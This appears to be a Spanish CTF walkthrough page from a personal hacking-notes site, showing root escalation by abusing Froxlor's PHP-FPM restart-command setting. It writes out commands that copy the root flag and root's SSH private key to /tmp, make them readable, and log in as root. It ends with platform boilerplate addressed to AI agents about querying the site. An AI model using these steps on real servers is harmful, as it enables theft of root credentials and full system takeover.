> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/cms/froxlor-cms-exploitation.md).

# Froxlor

## Explotando Froxlor - PHP-FPM

<div data-full-width="false"><figure><img src="/files/5bfcd07d604b507c3b1acb6b1c66284b0e8145a3" alt=""><figcaption></figcaption></figure></div>

**Creación de una nueva versión de PHP:**

Después de iniciar sesión, vaya a `PHP > versiones de PHP-FPM` y cree una nueva versión. En el campo del comando de reinicio de PHP-FPM, introduzca: `cp /root/root.txt /tmp/root.txt`

<figure><img src="/files/59ef5e8b950e9af8db12dd294662343fdae5c03b" alt=""><figcaption></figcaption></figure>

Guarde la configuración y luego vaya a `http://127.0.0.1:8081/admin_settings.php?start=phpfpm`. Desactive PHP-FPM, guarde, vuelva a activarlo y guarde de nuevo. Esto activa el comando de copia.

<figure><img src="/files/64a065fabf8b25f54f4c374db5a14689cb4b5626" alt=""><figcaption></figcaption></figure>

El archivo ya se ha copiado; a continuación, ajuste los permisos:

<figure><img src="/files/667a06416f1876bde59cbfffeaa9668ef601bd06" alt=""><figcaption></figcaption></figure>

Repita el mismo proceso, reemplazando el comando por:

```bash
chmod 644 /tmp/root.txt
```

### Bandera root : )

<figure><img src="/files/25727258b15730cdbc76a13a14f24a1592ac14a9" alt=""><figcaption></figcaption></figure>

Para conectarse como root, copie la clave SSH de root `id_rsa` y repita el proceso para corregir los permisos:

```bash
cp /root/.ssh/id_rsa /tmp/id_rsa
```

```bash
chmod 644 /tmp/root.txt
```

<figure><img src="/files/c9aeb96b891ee30f6c186c3eb86e0f8cb143e0ea" alt=""><figcaption></figcaption></figure>

Luego conéctese por SSH con la clave:

```bash
ssh -i id_rsa root@localhost
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/cms/froxlor-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
